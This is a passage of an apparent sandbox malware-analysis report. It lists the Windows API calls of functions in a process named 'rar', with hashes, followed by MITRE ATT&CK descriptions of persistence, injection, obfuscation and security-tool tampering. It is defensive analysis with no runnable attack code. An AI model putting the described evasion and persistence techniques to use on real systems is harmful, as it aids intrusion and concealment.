SHGetMalloc.SHELL32(?,00000800,?,00007FF64FE84432,?,?,?,?,00000800,00000000,00000000,00007FF64FE838CB,?,?,?,00007FF64FE841EC), ref: 00007FF64FE840C4
SHGetSpecialFolderLocation.SHELL32(?,?,?,?,00000800,00000000,00000000,00007FF64FE838CB,?,?,?,00007FF64FE841EC), ref: 00007FF64FE840DF
SHGetPathFromIDListW.SHELL32 ref: 00007FF64FE840F1

Part of subcall function 00007FF64FE73458: CreateDirectoryW.KERNEL32(00000800,00000000,?,00007FF64FE8413F,?,?,?,?,00000800,00000000,00000000,00007FF64FE838CB,?,?,?,00007FF64FE841EC), ref: 00007FF64FE734A0
Part of subcall function 00007FF64FE73458: CreateDirectoryW.KERNEL32(00000800,00000000,?,00007FF64FE8413F,?,?,?,?,00000800,00000000,00000000,00007FF64FE838CB,?,?,?,00007FF64FE841EC), ref: 00007FF64FE734D5

Strings

WinRAR, xrefs: 00007FF64FE8410F

Memory Dump Source

Source File: 00000053.00000002.2018601741.00007FF64FE51000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF64FE50000, based on PE: true

Associated: 00000053.00000002.2018544373.00007FF64FE50000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000053.00000002.2018718674.00007FF64FEC0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000053.00000002.2018799123.00007FF64FED8000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000053.00000002.2018849155.00007FF64FED9000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000053.00000002.2018892086.00007FF64FEDA000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000053.00000002.2018892086.00007FF64FEE4000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000053.00000002.2018892086.00007FF64FEEE000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000053.00000002.2018892086.00007FF64FEF6000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000053.00000002.2019066736.00007FF64FEF8000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000053.00000002.2019108961.00007FF64FEFE000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_83_2_7ff64fe50000_rar.jbxd

Similarity

API ID: CreateDirectory$FolderFromListLocationMallocPathSpecial
String ID: WinRAR
API String ID: 977838571-3970807970
Opcode ID: 415bfa020dc0990cad3e0501dba2d99d0bb0d0c3ec71343b5049903f98ccb042
Instruction ID: a3b293a67b3d749b7ac098b94618939ff5492aa74fc7b118226a2bb72aee528e
Opcode Fuzzy Hash: 415bfa020dc0990cad3e0501dba2d99d0bb0d0c3ec71343b5049903f98ccb042
Instruction Fuzzy Hash: 02213B26A0CA42A1EA50BF22E9501BAA761FFC9BD2B585031EF4EC7755DE3CD4448600

Function 00007FF64FE71C74 Relevance: 6.1, APIs: 4, Instructions: 55fileCOMMON

Download Yara Rule

APIs

GetStdHandle.KERNEL32(?,?,?,?,?,00007FF64FE721A7,00000000,00000028,?,00007FF64FE67792), ref: 00007FF64FE71C97
ReadFile.KERNELBASE ref: 00007FF64FE71CB6
GetLastError.KERNEL32 ref: 00007FF64FE71CEA
GetLastError.KERNEL32 ref: 00007FF64FE71D08

Memory Dump Source

Source File: 00000053.00000002.2018601741.00007FF64FE51000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF64FE50000, based on PE: true

Associated: 00000053.00000002.2018544373.00007FF64FE50000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000053.00000002.2018718674.00007FF64FEC0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000053.00000002.2018799123.00007FF64FED8000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000053.00000002.2018849155.00007FF64FED9000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000053.00000002.2018892086.00007FF64FEDA000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000053.00000002.2018892086.00007FF64FEE4000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000053.00000002.2018892086.00007FF64FEEE000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000053.00000002.2018892086.00007FF64FEF6000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000053.00000002.2019066736.00007FF64FEF8000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000053.00000002.2019108961.00007FF64FEFE000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_83_2_7ff64fe50000_rar.jbxd

Similarity

API ID: ErrorLast$FileHandleRead
String ID:
API String ID: 2244327787-0
Opcode ID: 3b78d4ed6aa6b5a120351a24eca7d2297273107fe5a6a7e720e5693830f3c1e4
Instruction ID: 442b28c9680a02ebde9f2110fb0711ced34915a03b2bd34495735b7b875c73f9
Opcode Fuzzy Hash: 3b78d4ed6aa6b5a120351a24eca7d2297273107fe5a6a7e720e5693830f3c1e4
Instruction Fuzzy Hash: 40219031E0C746A1EA64BB65E40433967E4BFC1B97F204131EE59CB6C6CF2ED9858B42

Function 00007FF64FE9BB80 Relevance: 4.5, APIs: 3, Instructions: 30COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?,?,?,?,?,00007FF64FE9BB79), ref: 00007FF64FE9BBB9
SetEvent.KERNEL32 ref: 00007FF64FE9BBCF
LeaveCriticalSection.KERNEL32 ref: 00007FF64FE9BBD8

Memory Dump Source

Source File: 00000053.00000002.2018601741.00007FF64FE51000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF64FE50000, based on PE: true

Associated: 00000053.00000002.2018544373.00007FF64FE50000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000053.00000002.2018718674.00007FF64FEC0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000053.00000002.2018799123.00007FF64FED8000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000053.00000002.2018849155.00007FF64FED9000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000053.00000002.2018892086.00007FF64FEDA000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000053.00000002.2018892086.00007FF64FEE4000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000053.00000002.2018892086.00007FF64FEEE000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000053.00000002.2018892086.00007FF64FEF6000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000053.00000002.2019066736.00007FF64FEF8000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000053.00000002.2019108961.00007FF64FEFE000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_83_2_7ff64fe50000_rar.jbxd

Similarity

API ID: CriticalSection$EnterEventLeave
String ID:
API String ID: 3094578987-0
Opcode ID: 8fe9f8176e207c020d906139d049f12966b7ba6a10f6a81758c5b7eb42f71044
Instruction ID: 06c150226375d5b74e45747ebe576c3f77d804e439b470da7facfc4944ba7858
Opcode Fuzzy Hash: 8fe9f8176e207c020d906139d049f12966b7ba6a10f6a81758c5b7eb42f71044
Instruction Fuzzy Hash: 62F0862260CB86E2DA20BF11F5440BD6760FFC9BAAF040130EF9D876A9DF2CD6458B10

Function 00007FF64FE67B44 Relevance: 4.5, APIs: 3, Instructions: 19COMMON

Download Yara Rule

APIs

GetStdHandle.KERNEL32(?,?,?,00007FF64FE67A9E), ref: 00007FF64FE67B4A
GetFileType.KERNELBASE(?,?,?,00007FF64FE67A9E), ref: 00007FF64FE67B56
GetConsoleMode.KERNEL32(?,?,?,00007FF64FE67A9E), ref: 00007FF64FE67B69

Memory Dump Source

Source File: 00000053.00000002.2018601741.00007FF64FE51000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF64FE50000, based on PE: true

Associated: 00000053.00000002.2018544373.00007FF64FE50000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000053.00000002.2018718674.00007FF64FEC0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000053.00000002.2018799123.00007FF64FED8000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000053.00000002.2018849155.00007FF64FED9000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000053.00000002.2018892086.00007FF64FEDA000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000053.00000002.2018892086.00007FF64FEE4000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000053.00000002.2018892086.00007FF64FEEE000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000053.00000002.2018892086.00007FF64FEF6000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000053.00000002.2019066736.00007FF64FEF8000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000053.00000002.2019108961.00007FF64FEFE000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_83_2_7ff64fe50000_rar.jbxd

Similarity

API ID: ConsoleFileHandleModeType
String ID:
API String ID: 4141822043-0
Opcode ID: b15bfddebd279c5c829c27adb93723b3551ef5d7968acfa0ad204a509e36213f
Instruction ID: 620146285d6e2ec755ad112b0d8e02a2271ea5e28118bdb78c7f10dff517c07f
Opcode Fuzzy Hash: b15bfddebd279c5c829c27adb93723b3551ef5d7968acfa0ad204a509e36213f
Instruction Fuzzy Hash: 6DE0EC24E1DA4662FA587B65A8652791B52BF9DB92F942034EE0FCB350EE2CD4858700

Function 00007FF64FE74044 Relevance: 3.3, APIs: 2, Instructions: 336COMMON

Download Yara Rule

APIs

OemToCharA.USER32 ref: 00007FF64FE74255
ExpandEnvironmentStringsW.KERNEL32(?,?,00000000,?,?,?,?,?,00007FF64FE56CD9), ref: 00007FF64FE7447C

Memory Dump Source

Source File: 00000053.00000002.2018601741.00007FF64FE51000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF64FE50000, based on PE: true

Associated: 00000053.00000002.2018544373.00007FF64FE50000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000053.00000002.2018718674.00007FF64FEC0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000053.00000002.2018799123.00007FF64FED8000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000053.00000002.2018849155.00007FF64FED9000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000053.00000002.2018892086.00007FF64FEDA000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000053.00000002.2018892086.00007FF64FEE4000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000053.00000002.2018892086.00007FF64FEEE000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000053.00000002.2018892086.00007FF64FEF6000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000053.00000002.2019066736.00007FF64FEF8000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000053.00000002.2019108961.00007FF64FEFE000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_83_2_7ff64fe50000_rar.jbxd

Similarity

API ID: CharEnvironmentExpandStrings
String ID:
API String ID: 4052775200-0
Opcode ID: d3cf55b71ff3c281346cb4b18b9965101663fbf2bf251821757e6ab4d6f75e53
Instruction ID: 2b0c70b1290955435b8ef8576530803de069064ac45ba9ca8a74e2a5551a2898
Opcode Fuzzy Hash: d3cf55b71ff3c281346cb4b18b9965101663fbf2bf251821757e6ab4d6f75e53
Instruction Fuzzy Hash: 7DE1AE22A1C682E5EB20BB65A4001BE67E1FBD1795F444132DB9D87ADAEF7CE481D700

Function 00007FF64FE71AF0 Relevance: 3.1, APIs: 2, Instructions: 85fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNELBASE(?,?,00000800,?,00000000,00007FF64FE67EBE,00000000,00000000,00000000,00000000,00000007,00007FF64FE67C48), ref: 00007FF64FE71B8D
CreateFileW.KERNEL32(?,?,00000800,?,00000000,00007FF64FE67EBE,00000000,00000000,00000000,00000000,00000007,00007FF64FE67C48), ref: 00007FF64FE71BD7

Memory Dump Source

Source File: 00000053.00000002.2018601741.00007FF64FE51000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF64FE50000, based on PE: true

Associated: 00000053.00000002.2018544373.00007FF64FE50000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000053.00000002.2018718674.00007FF64FEC0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000053.00000002.2018799123.00007FF64FED8000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000053.00000002.2018849155.00007FF64FED9000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000053.00000002.2018892086.00007FF64FEDA000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000053.00000002.2018892086.00007FF64FEE4000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000053.00000002.2018892086.00007FF64FEEE000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000053.00000002.2018892086.00007FF64FEF6000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000053.00000002.2019066736.00007FF64FEF8000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000053.00000002.2019108961.00007FF64FEFE000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_83_2_7ff64fe50000_rar.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 4219d35e49beb692727e1c809157a61a389fcef5d2ea993dee933b1b68bc62b7
Instruction ID: b91b5a2491a793558c8cf35c916e97a1ae7c26827291cf8f26cada1071d8aaec
Opcode Fuzzy Hash: 4219d35e49beb692727e1c809157a61a389fcef5d2ea993dee933b1b68bc62b7
Instruction Fuzzy Hash: 1F31E062A1C78286E760BF20E4053A927A0FB81BBAF105334DA68876C6DF7DD5858700

Function 00007FF64FE720B4 Relevance: 3.0, APIs: 2, Instructions: 45COMMON

Download Yara Rule

APIs

SetFilePointer.KERNELBASE(?,?,?,00007FF64FE722EE), ref: 00007FF64FE7211B
GetLastError.KERNEL32(?,?,?,00007FF64FE722EE), ref: 00007FF64FE72126

Memory Dump Source

Source File: 00000053.00000002.2018601741.00007FF64FE51000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF64FE50000, based on PE: true

Associated: 00000053.00000002.2018544373.00007FF64FE50000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000053.00000002.2018718674.00007FF64FEC0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000053.00000002.2018799123.00007FF64FED8000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000053.00000002.2018849155.00007FF64FED9000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000053.00000002.2018892086.00007FF64FEDA000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000053.00000002.2018892086.00007FF64FEE4000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000053.00000002.2018892086.00007FF64FEEE000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000053.00000002.2018892086.00007FF64FEF6000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000053.00000002.2019066736.00007FF64FEF8000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000053.00000002.2019108961.00007FF64FEFE000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_83_2_7ff64fe50000_rar.jbxd

Similarity

API ID: ErrorFileLastPointer
String ID:
API String ID: 2976181284-0
Opcode ID: 5815bd41f5973e06c2119053be911941aef37d92954e301d013d2bb4fe8795dc
Instruction ID: 063c2eb860c08ebeb263312688ff9fd8abc09bc72f4a5985d1c9e05806caa66f
Opcode Fuzzy Hash: 5815bd41f5973e06c2119053be911941aef37d92954e301d013d2bb4fe8795dc
Instruction Fuzzy Hash: D401E521A1D69192EA647B26A40006963A2FFC4BF1F149631EF2DC3BD7CF3CE4418B00

Function 00007FF64FE730C8 Relevance: 3.0, APIs: 2, Instructions: 30COMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNELBASE(00000800,00007FF64FE7305D,?,?,?,?,?,?,?,?,00007FF64FE84126,?,?,?,?,00000800), ref: 00007FF64FE730F0
GetFileAttributesW.KERNELBASE(?,?,?,?,?,?,?,?,00007FF64FE84126,?,?,?,?,00000800,00000000,00000000), ref: 00007FF64FE73119

Memory Dump Source

Source File: 00000053.00000002.2018601741.00007FF64FE51000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF64FE50000, based on PE: true

Associated: 00000053.00000002.2018544373.00007FF64FE50000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000053.00000002.2018718674.00007FF64FEC0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000053.00000002.2018799123.00007FF64FED8000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000053.00000002.2018849155.00007FF64FED9000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000053.00000002.2018892086.00007FF64FEDA000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000053.00000002.2018892086.00007FF64FEE4000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000053.00000002.2018892086.00007FF64FEEE000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000053.00000002.2018892086.00007FF64FEF6000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000053.00000002.2019066736.00007FF64FEF8000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000053.00000002.2019108961.00007FF64FEFE000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_83_2_7ff64fe50000_rar.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 2e2186a7cb8ede8c780016636985b78a342ec6e28c4d5099e5617c1395310ad3
Instruction ID: c4e20f99c9c3191d0be86afdd7e6ac52f0d8f5daf9a0eef0e8d80f93ac810cb1
Opcode Fuzzy Hash: 2e2186a7cb8ede8c780016636985b78a342ec6e28c4d5099e5617c1395310ad3
Instruction Fuzzy Hash: 3EF04F21B1C7C195EAA0BB64F8553A963A0BBCDBD5F400531EA9CC379ADE6CD5848B00

Function 00007FF64FE64D1C Relevance: 1.5, APIs: 1, Instructions: 44COMMON

Download Yara Rule

APIs

GetCommandLineW.KERNEL32 ref: 00007FF64FE64D47

Memory Dump Source

Source File: 00000053.00000002.2018601741.00007FF64FE51000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF64FE50000, based on PE: true

Associated: 00000053.00000002.2018544373.00007FF64FE50000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000053.00000002.2018718674.00007FF64FEC0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000053.00000002.2018799123.00007FF64FED8000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000053.00000002.2018849155.00007FF64FED9000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000053.00000002.2018892086.00007FF64FEDA000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000053.00000002.2018892086.00007FF64FEE4000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000053.00000002.2018892086.00007FF64FEEE000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000053.00000002.2018892086.00007FF64FEF6000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000053.00000002.2019066736.00007FF64FEF8000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000053.00000002.2019108961.00007FF64FEFE000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_83_2_7ff64fe50000_rar.jbxd

Similarity

API ID: CommandLine
String ID:
API String ID: 3253501508-0
Opcode ID: 73dd7db7cbad1becb968eb67897256c98e4567ab7c48d7e0ed9ada2aa3175c64
Instruction ID: 64aa63680128e43ee39e70484a1d3a5488f20466e370743c7fa9b5df5d136467
Opcode Fuzzy Hash: 73dd7db7cbad1becb968eb67897256c98e4567ab7c48d7e0ed9ada2aa3175c64
Instruction Fuzzy Hash: 10018012A0C646A5FA54BB16A4002BF5BA0BFC5B96F882431FF4D8776ADE3DD4418300

Function 00007FF64FEB4B8C Relevance: 1.5, APIs: 1, Instructions: 41COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000053.00000002.2018601741.00007FF64FE51000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF64FE50000, based on PE: true

Associated: 00000053.00000002.2018544373.00007FF64FE50000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000053.00000002.2018718674.00007FF64FEC0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000053.00000002.2018799123.00007FF64FED8000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000053.00000002.2018849155.00007FF64FED9000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000053.00000002.2018892086.00007FF64FEDA000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000053.00000002.2018892086.00007FF64FEE4000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000053.00000002.2018892086.00007FF64FEEE000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000053.00000002.2018892086.00007FF64FEF6000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000053.00000002.2019066736.00007FF64FEF8000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000053.00000002.2019108961.00007FF64FEFE000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_83_2_7ff64fe50000_rar.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: ca30e85b47fa1e18d3f1659bb3f59f1703126fc617b20a809fafb72b1d5571b6
Instruction ID: 1e1401de5279ae0ad15d3d1831a3450cabd3f172c10e0c7bbf42d414d65e6c78
Opcode Fuzzy Hash: ca30e85b47fa1e18d3f1659bb3f59f1703126fc617b20a809fafb72b1d5571b6
Instruction Fuzzy Hash: DB017C41A0C74360FA64FE66AA8467B13907FC4BD2F188A31EF1DC72D6ED2CA4014201

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file or directory permissions/attributes to evade access control lists (ACLs) and access protected files.File and directory permissions are commonly managed by ACLs configured by the file or directory owner, or users with the appropriate permissions. File and directory ACL implementations vary by platform, but generally explicitly designate which users or groups can perform which actions (read, write, execute, etc.).
Tactics:	Defense Evasion
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, File: File Metadata, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata, File: File Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to hide configuration information within Registry keys, remove information as part of cleaning up, or as part of other techniques to aid in persistence and execution.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

